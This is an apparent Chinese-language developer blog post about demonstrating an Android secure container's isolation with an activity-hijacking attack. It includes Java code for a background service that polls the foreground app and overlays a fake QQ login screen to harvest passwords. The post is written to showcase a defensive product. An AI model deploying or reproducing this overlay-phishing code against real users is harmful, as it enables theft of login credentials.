"在其位谋其政 任其职尽其责",既然进入了安全领域就应该做出一点相关的成果出来,否则就是名不符实,而我今天总算做出了一点真正和安全相关的东西了,记录于此。
我的项目组做的是一个叫安全容器的东西,大致上就是在系统中虚拟出另外一个操作环境与普通环境隔离开来,这个环境可以进行一些安全度高的操作,比如支付,并且保证不被普通环境影响。主要是针对政府企业单位的产品,最大的亮点当然就是这个隔离性了。
但是在很长一段时间,我们在demo场景演示中只有 存储隔离(比如容器内外拍的照互相不能看到)、运行隔离(比如容器内外可以同时运行qq登录不同的帐号互补影响)。这些也能说明隔离,但是最有力直接的证明这个容器的安全性还是通过:手机上装上病毒、木马、钓鱼应用,容器外的密码被盗取,而容器内不受影响。这才是最直接有效的证明其安全性的方式。但奈何团队中都没有安全背景,很长一段时间都不知道常见的攻击行为是怎样的,也就没能设计一个典型的攻击场景进入到demo中。
正好这段时间接触到了针对android系统专有的activity界面劫持问题,研究了一下发现这个攻击行为能很好的证明容器的隔离性。实际上原理很简单就是木马应用在后台轮询当前正在打开的activity,如果发现是qq,就会弹出一个仿照的qq登录界面覆盖真正的qq,从而诱导用户在假的页面上输入帐号密码,唉,我试着做完这个钓鱼应用之后,发现对于小白来说根本无法辨别,只能坐当肉鸡啊。好了,不多说了,下面上代码。
一个后台setrvice监听打开的activity, 关键代码
final ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
new Thread(){
@Override
public void run() {
super.run();
while(!mStopService){
String pkgName = activityManager
.getRunningTasks(1).get(0).topActivity.getPackageName();
// Log.v(TAG, "comint activity:"+pkgName);
for(String targetname: targetComponents){
if(targetname.equals(pkgName)){
hijacking(pkgName);
break;
}
}
try {
sleep(300);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}.start();
private void hijacking(String pkgName) {
if(targetComponents[0].equals(pkgName)){//QQ
// Log.v(TAG, "给我吧,qq:"+pkgName);
Intent intent = new Intent(this, CopyQQLoginActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);//弹出山寨版qq登录界面
}
}